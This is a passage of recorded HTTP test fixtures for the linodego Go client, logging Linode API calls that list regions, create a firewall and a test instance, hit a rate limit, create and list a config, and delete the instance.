1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-h510p20yad6n","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Too many requests"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "45" Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:28 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "5" status: 429 Too Many Requests code: 429 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-h510p20yad6n","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874257, "label": "go-test-ins-wo-disk-h510p20yad6n", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.166"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0be889ff8efab8e9f1cbbb28b1799aa440e95149", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-e2632p9rfc1a","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874257/configs method: POST response: body: '{"id": 65094718, "label": "go-test-conf-e2632p9rfc1a", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874257/configs?page=1 method: GET response: body: '{"data": [{"id": 65094718, "label": "go-test-conf-e2632p9rfc1a", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "589" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874257 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_CreateUnderFirewall.yaml000066400000000000000000000747341474652371000340420ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 611237, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:00:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 